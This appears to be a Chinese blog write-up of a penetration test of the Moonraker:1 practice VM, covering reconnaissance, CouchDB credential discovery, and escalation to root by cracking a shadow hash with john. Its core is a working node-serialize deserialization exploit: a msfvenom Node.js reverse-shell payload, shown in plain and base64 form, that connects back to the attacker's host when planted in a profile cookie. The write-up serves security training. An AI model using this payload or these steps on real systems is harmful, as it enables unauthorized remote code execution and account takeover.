• Moonraker 靶机渗透


    0x01 简介
    攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。
    Moonraker: 1镜像下载地址:
     
    0x02 信息搜集
    1.获取目标ip地址,使用netdiscover或者arp-scan。
    2.使用nmap进行端口和服务探测
    在3000端口发现Node.js Express framework框架应用。
    访问web服务,是一段视频
    视频动画会持续10几秒,之后自动跳转至如下页面
    点击blog进行一个展示界面,目前看来是没什么用
    使用dirb 跑一下目录,发现http://192.168.190.136/services/index.html
    在网站中发现一个链接
    点击进入,一个售后服务的页面
    Services Information Request
    To provide "out of this world" service, a Sales rep will check your web-based inquiries in under 5 minutes!
    服务信息请求
    为了提供“完美售后”的服务,销售代表将在5分钟内检查您基于网络的查询!
    尝试用<img>标签去查询表单
    <img src="192.168.190.129/log.txt"></img>
    提交完成
    开启apache服务
    root@kali:~# netstat -pantu | grep 80
    tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 595/rinetd
    root@kali:~# pkill rinetd
    root@kali:~# service apache2 start
    root@kali:~# cd /var/www/html
    root@kali:/var/www/html# ls
    file.csproj flag.php index.nginx-debian.html wpscan_6666 wso.php xxe.php
    root@kali:/var/www/html# echo "test" > log.txt
    root@kali:/var/www/html# ls -la log.txt
    -rw-r--r-- 1 root root 5 9月 24 11:50 log.txt
     
    测试apache服务是否正常
    我们可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。
    192.168.190.136 - - [24/Sep/2019:11:54:51 -0400] "GET /log.txt HTTP/1.1" 200 287 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"
    我们可以从日志中发现http refefer地址:http://127.0.0.1/svc-inq/salesmoon-gui.php
     
     
    点击左上角链接进入如下页面
     
    打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
    username: jaws
    password: 女朋友名字+x99的组合(我哪知道你女朋友是谁!!!)
    搜索 Jaws' girlfriend,找到Jaws' Girlfriend :Dolly
    现在已经获取到couchdb的用户名和密码,那么如何登陆呢
    关于couchdb使用参考官方文档:http://docs.couchdb.org/en/stable/fauxton/install.html
    Username: jaws
    Password: dollyx99
    登陆成功!
    在links库里发现了一些信息
    第二条信息
    似乎没什么有用的信息
    第三条记录
    备份信息
    在HUGO中我们发现了一些线索,提示我们通过浏览器访问3000端口的服务,并且提供了用户名密码
    Username: hugo
    Password:TempleLasersL2K
    登陆成功
    Welcome Boss Your manifesto has been recorded here for reference: /accounting/hugo-manif.mp3
    欢迎您的老板您的宣言已在此处录制供参考:/accounting/hugo-manif.mp3
     
    听一下宣言内容,纯英文,听不懂
     
    第四条信息
    显示数据已经被移动到更安全的区域
    进入hugo's page moved to port 3k页面,可以看到服务运行在3000端口,使用的NodeJS框架。
    0x04 漏洞利用
    从前期信息收集知道3000端口跑的是Node.js框架,去搜索一下相关漏洞
    发现Node.js框架存在一个反序列化漏洞,可以执行任意代码。
    启动F12查看页面的请求信息。burp抓包在Cookie中看到了base64编码信息。
    base64编码解码为用户名。
    这里我们将以base64编码形式插入node.js来用其反序列化漏洞。
    这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
    利用Node.js反序列化的漏洞执行远程代码参考:https://www.anquanke.com/post/id/85458
    使用msfvenom生成nodejs反弹shell
    msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.190.137 LPORT=1521
    (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.190.137", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
     
    {"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.190.137", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
     
    将以上payload做base64编码
    eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTkwLjEzN1wiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
     
    通过bupsuit抓包进行拦截,将整个base64字符串设置为cookie中profile的值,替换完profile值后进行提交,在者之前需要设置您的nc侦听。
    nc 成功获得反弹shell
    然后将nc的半shell转换为pty的交互shell
    查看开放的端口,发现开启了邮件服务,
    在/var/mail目录下存在邮件但是权限不足无法查看
    在了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
    username: hugo
    password: 321Blast0ff!!
    切换hugo用户,查看家目录未发现什么,想到之前拒绝访问的邮件
    在/var/mail目录下查看hugo邮件内容,root用户信息泄露
    the new one is the same + "VR00M" without quotes 并且提示在root密码后加上VR00M
    root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
     
    将root密码hash保存到root.hash,使用john破解hash
    破解出密码哈希是cyber
    Username: root
    Password: cyber
    新的登录密码为:cyberVR00M
    root用户登录,获取到flag base64 解码 :was dolly wearing braces?
     
    参考链接:
     
     
     
  • 相关阅读:
    PUTTY与SecureCRT的比较
    java中volatile关键字的含义
    java中引用的原理
    Java陷阱之assert关键字
    脏读 幻读 不可重复读
    JAVA 的wait(), notify()与synchronized同步机制
    线程状态转换图
    并行、并发、同步和互斥
    B-树学习笔记
    平衡二叉树及其应用场景
  • 原文地址:https://www.cnblogs.com/micr067/p/11587602.html
Copyright © 2020-2023  润新知